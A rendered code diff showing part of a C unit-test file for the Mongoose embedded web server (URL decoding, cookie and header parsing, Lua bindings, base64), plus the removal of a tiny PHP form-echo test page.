ASSERT(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0));
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef USE_LUA
|
||||
static void check_lua_expr(lua_State *L, const char *expr, const char *value) {
|
||||
const char *v, *var_name = "myVar";
|
||||
char buf[100];
|
||||
|
||||
snprintf(buf, sizeof(buf), "%s = %s", var_name, expr);
|
||||
(void) luaL_dostring(L, buf);
|
||||
lua_getglobal(L, var_name);
|
||||
v = lua_tostring(L, -1);
|
||||
ASSERT((value == NULL && v == NULL) ||
|
||||
(value != NULL && v != NULL && !strcmp(value, v)));
|
||||
}
|
||||
|
||||
static void test_lua(void) {
|
||||
static struct mg_connection conn;
|
||||
static struct mg_context ctx;
|
||||
|
||||
char http_request[] = "POST /foo/bar HTTP/1.1\r\n"
|
||||
"Content-Length: 12\r\n"
|
||||
"Connection: close\r\n\r\nhello world!";
|
||||
lua_State *L = luaL_newstate();
|
||||
|
||||
conn.ctx = &ctx;
|
||||
conn.buf = http_request;
|
||||
conn.buf_size = conn.data_len = conn.num_bytes_read = strlen(http_request);
|
||||
conn.request_len = parse_http_message(conn.buf, conn.data_len,
|
||||
&conn.request_info);
|
||||
conn.content_len = conn.data_len - conn.request_len;
|
||||
|
||||
prepare_lua_environment(&conn, L);
|
||||
ASSERT(lua_gettop(L) == 0);
|
||||
|
||||
check_lua_expr(L, "'hi'", "hi");
|
||||
check_lua_expr(L, "mg.request_info.request_method", "POST");
|
||||
check_lua_expr(L, "mg.request_info.uri", "/foo/bar");
|
||||
check_lua_expr(L, "mg.request_info.num_headers", "2");
|
||||
check_lua_expr(L, "mg.request_info.remote_ip", "0");
|
||||
check_lua_expr(L, "mg.request_info.http_headers['Content-Length']", "12");
|
||||
check_lua_expr(L, "mg.request_info.http_headers['Connection']", "close");
|
||||
(void) luaL_dostring(L, "post = mg.read()");
|
||||
check_lua_expr(L, "# post", "12");
|
||||
check_lua_expr(L, "post", "hello world!");
|
||||
lua_close(L);
|
||||
}
|
||||
#endif
|
||||
|
||||
static void test_mg_stat(void) {
|
||||
struct file file = STRUCT_FILE_INITIALIZER;
|
||||
ASSERT(!mg_stat(" does not exist ", &file));
|
||||
}
|
||||
|
||||
static void test_skip_quoted(void) {
|
||||
char x[] = "a=1, b=2 c='hi \' there'", *s = x, *p;
|
||||
|
||||
p = skip_quoted(&s, ", ", ", ", 0);
|
||||
ASSERT(p != NULL && !strcmp(p, "a=1"));
|
||||
|
||||
p = skip_quoted(&s, ", ", ", ", 0);
|
||||
ASSERT(p != NULL && !strcmp(p, "b=2"));
|
||||
|
||||
// TODO(lsm): fix this
|
||||
#if 0
|
||||
p = skip_quoted(&s, "'", ", ", '\\');
|
||||
p = skip_quoted(&s, "'", ", ", '\\');
|
||||
printf("[%s]\n", p);
|
||||
ASSERT(p != NULL && !strcmp(p, "hi ' there"));
|
||||
#endif
|
||||
}
|
||||
|
||||
static void test_alloc_vprintf(void) {
|
||||
char buf[MG_BUF_LEN], *p = buf;
|
||||
|
||||
ASSERT(alloc_printf(&p, sizeof(buf), "%s", "hi") == 2);
|
||||
ASSERT(p == buf);
|
||||
ASSERT(alloc_printf(&p, sizeof(buf), "%s", "") == 0);
|
||||
ASSERT(alloc_printf(&p, sizeof(buf), "") == 0);
|
||||
|
||||
// Pass small buffer, make sure alloc_printf allocates
|
||||
ASSERT(alloc_printf(&p, 1, "%s", "hello") == 5);
|
||||
ASSERT(p != buf);
|
||||
free(p);
|
||||
}
|
||||
|
||||
static void test_request_replies(void) {
|
||||
char ebuf[100];
|
||||
int i, port = atoi(HTTPS_PORT);
|
||||
struct mg_connection *conn;
|
||||
struct mg_context *ctx;
|
||||
static struct { const char *request, *reply_regex; } tests[] = {
|
||||
{
|
||||
"GET test/hello.txt HTTP/1.0\r\nRange: bytes=3-5\r\n\r\n",
|
||||
"^HTTP/1.1 206 Partial Content"
|
||||
},
|
||||
{NULL, NULL},
|
||||
};
|
||||
|
||||
ASSERT((ctx = mg_start(OPTIONS, event_handler, NULL)) != NULL);
|
||||
for (i = 0; tests[i].request != NULL; i++) {
|
||||
ASSERT((conn = mg_download("localhost", port, 1, ebuf, sizeof(ebuf), "%s",
|
||||
tests[i].request)) != NULL);
|
||||
mg_close_connection(conn);
|
||||
}
|
||||
mg_stop(ctx);
|
||||
}
|
||||
|
||||
static const char *api_uri = "/?a=%20&b=&c=xx";
|
||||
static int api_cb(struct mg_event *event) {
|
||||
struct mg_request_info *ri = event->request_info;
|
||||
char post_data[100] = "";
|
||||
|
||||
if (event->type == MG_REQUEST_BEGIN) {
|
||||
ASSERT(event->user_data == (void *) 123);
|
||||
ASSERT(ri->num_headers == 2);
|
||||
ASSERT(strcmp(mg_get_header(event->conn, "host"), "blah.com") == 0);
|
||||
ASSERT(mg_read(event->conn, post_data, sizeof(post_data)) == 3);
|
||||
ASSERT(memcmp(post_data, "b=1", 3) == 0);
|
||||
ASSERT(ri->query_string != NULL);
|
||||
ASSERT(strcmp(ri->query_string, api_uri + 2) == 0);
|
||||
ASSERT(ri->remote_ip > 0);
|
||||
ASSERT(ri->remote_port > 0);
|
||||
ASSERT(strcmp(ri->http_version, "1.0") == 0);
|
||||
|
||||
mg_printf(event->conn, "HTTP/1.0 200 OK\r\n\r\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static const char *test_mg_strcasestr(void) {
|
||||
static const char *big1 = "abcdef";
|
||||
ASSERT(mg_strcasestr("Y", "X") == NULL);
|
||||
ASSERT(mg_strcasestr("Y", "y") != NULL);
|
||||
ASSERT(mg_strcasestr(big1, "X") == NULL);
|
||||
ASSERT(mg_strcasestr(big1, "CD") == big1 + 2);
|
||||
ASSERT(mg_strcasestr("aa", "AAB") == NULL);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void test_api_calls(void) {
|
||||
char ebuf[100];
|
||||
struct mg_connection *conn;
|
||||
struct mg_context *ctx;
|
||||
static const char *fmt = "POST %s HTTP/1.0\r\n"
|
||||
"Host: blah.com\n" // More spaces before
|
||||
"content-length: 3\r\n" // Lower case header name
|
||||
"\r\nb=123456"; // Content size > content-length, test for mg_read()
|
||||
|
||||
ASSERT((ctx = mg_start(OPTIONS, api_cb, (void *) 123)) != NULL);
|
||||
ASSERT((conn = mg_download("localhost", atoi(HTTPS_PORT), 1,
|
||||
ebuf, sizeof(ebuf), fmt, api_uri)) != NULL);
|
||||
mg_close_connection(conn);
|
||||
mg_stop(ctx);
|
||||
}
|
||||
|
||||
static void test_mg_get_cookie(void) {
|
||||
char buf[20];
|
||||
|
||||
ASSERT(mg_get_cookie("", "foo", NULL, sizeof(buf)) == -2);
|
||||
ASSERT(mg_get_cookie("", "foo", buf, 0) == -2);
|
||||
ASSERT(mg_get_cookie("", "foo", buf, sizeof(buf)) == -1);
|
||||
ASSERT(mg_get_cookie("", NULL, buf, sizeof(buf)) == -1);
|
||||
ASSERT(mg_get_cookie("a=1; b=2; c; d", "a", buf, sizeof(buf)) == 1);
|
||||
ASSERT(strcmp(buf, "1") == 0);
|
||||
ASSERT(mg_get_cookie("a=1; b=2; c; d", "b", buf, sizeof(buf)) == 1);
|
||||
ASSERT(strcmp(buf, "2") == 0);
|
||||
ASSERT(mg_get_cookie("a=1; b=123", "b", buf, sizeof(buf)) == 3);
|
||||
ASSERT(strcmp(buf, "123") == 0);
|
||||
ASSERT(mg_get_cookie("a=1; b=2; c; d", "c", buf, sizeof(buf)) == -1);
|
||||
}
|
||||
#endif
|
||||
|
||||
static const char *test_url_decode(void) {
|
||||
char buf[100];
|
||||
|
||||
ASSERT(mg_url_decode("foo", 3, buf, 3, 0) == -1); // No space for \0
|
||||
ASSERT(mg_url_decode("foo", 3, buf, 4, 0) == 3);
|
||||
ASSERT(strcmp(buf, "foo") == 0);
|
||||
|
||||
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 0) == 2);
|
||||
ASSERT(strcmp(buf, "a+") == 0);
|
||||
|
||||
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 1) == 2);
|
||||
ASSERT(strcmp(buf, "a ") == 0);
|
||||
|
||||
ASSERT(mg_url_decode("%61", 1, buf, sizeof(buf), 1) == 1);
|
||||
ASSERT(strcmp(buf, "%") == 0);
|
||||
|
||||
ASSERT(mg_url_decode("%61", 2, buf, sizeof(buf), 1) == 2);
|
||||
ASSERT(strcmp(buf, "%6") == 0);
|
||||
|
||||
ASSERT(mg_url_decode("%61", 3, buf, sizeof(buf), 1) == 1);
|
||||
ASSERT(strcmp(buf, "a") == 0);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_to64(void) {
|
||||
ASSERT(strtoll("0", NULL, 10) == 0);
|
||||
ASSERT(strtoll("123", NULL, 10) == 123);
|
||||
ASSERT(strtoll("-34", NULL, 10) == -34);
|
||||
ASSERT(strtoll("3566626116", NULL, 10) == 3566626116);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_parse_port_string(void) {
|
||||
static const char *valid[] = {
|
||||
"1", "1.2.3.4:1",
|
||||
#if defined(USE_IPV6)
|
||||
"[::1]:123", "[3ffe:2a00:100:7031::1]:900",
|
||||
#endif
|
||||
NULL
|
||||
};
|
||||
static const char *invalid[] = {
|
||||
"0", "99999", "1k", "1.2.3", "1.2.3.4:", "1.2.3.4:2p", NULL
|
||||
};
|
||||
union socket_address sa;
|
||||
int i;
|
||||
|
||||
for (i = 0; valid[i] != NULL; i++) {
|
||||
ASSERT(parse_port_string(valid[i], &sa) != 0);
|
||||
}
|
||||
|
||||
for (i = 0; invalid[i] != NULL; i++) {
|
||||
ASSERT(parse_port_string(invalid[i], &sa) == 0);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_base64_encode(void) {
|
||||
const char *in[] = {"a", "ab", "abc", "abcd", NULL};
|
||||
const char *out[] = {"YQ==", "YWI=", "YWJj", "YWJjZA=="};
|
||||
char buf[100];
|
||||
int i;
|
||||
|
||||
for (i = 0; in[i] != NULL; i++) {
|
||||
base64_encode((unsigned char *) in[i], strlen(in[i]), buf);
|
||||
ASSERT(!strcmp(buf, out[i]));
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_mg_parse_header() {
|
||||
const char *str = "xx yy, ert=234 ii zz='aa bb', gf=\"xx d=1234";
|
||||
char buf[10];
|
||||
ASSERT(mg_parse_header(str, "yy", buf, sizeof(buf)) == 0);
|
||||
ASSERT(mg_parse_header(str, "ert", buf, sizeof(buf)) == 3);
|
||||
ASSERT(strcmp(buf, "234") == 0);
|
||||
ASSERT(mg_parse_header(str, "ert", buf, 2) == 0);
|
||||
ASSERT(mg_parse_header(str, "ert", buf, 3) == 0);
|
||||
ASSERT(mg_parse_header(str, "ert", buf, 4) == 3);
|
||||
ASSERT(mg_parse_header(str, "gf", buf, sizeof(buf)) == 0);
|
||||
ASSERT(mg_parse_header(str, "zz", buf, sizeof(buf)) == 5);
|
||||
ASSERT(strcmp(buf, "aa bb") == 0);
|
||||
ASSERT(mg_parse_header(str, "d", buf, sizeof(buf)) == 4);
|
||||
ASSERT(strcmp(buf, "1234") == 0);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *run_all_tests(void) {
|
||||
RUN_TEST(test_should_keep_alive);
|
||||
RUN_TEST(test_match_prefix);
|
||||
RUN_TEST(test_remove_double_dots);
|
||||
RUN_TEST(test_parse_http_message);
|
||||
RUN_TEST(test_parse_port_string);
|
||||
RUN_TEST(test_to64);
|
||||
RUN_TEST(test_url_decode);
|
||||
RUN_TEST(test_base64_encode);
|
||||
RUN_TEST(test_mg_parse_header);
|
||||
#if 0
|
||||
test_mg_strcasestr();
|
||||
test_mg_download();
|
||||
test_mg_get_var();
|
||||
test_next_option();
|
||||
test_mg_stat();
|
||||
test_skip_quoted();
|
||||
test_mg_upload();
|
||||
test_request_replies();
|
||||
test_api_calls();
|
||||
test_mg_get_cookie();
|
||||
#ifdef USE_LUA
|
||||
test_lua();
|
||||
#endif
|
||||
#endif
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int __cdecl main(void) {
|
||||
const char *fail_msg = run_all_tests();
|
||||
printf("%s, tests run: %d\n", fail_msg ? "FAIL" : "PASS", static_num_tests);
|
||||
return fail_msg == NULL ? EXIT_SUCCESS : EXIT_FAILURE;
|
||||
}
|
||||
@@ -1,9 +0,0 @@
|
||||
<html>
|
||||
<form method="post">
|
||||
<input name="x" type="text" />
|
||||
<input type="submit" />
|
||||
</form>
|
||||
|
||||
<? echo $_POST["x"]; ?>
|
||||
|
||||
</html>
|
||||
Reference in new issue
Block a user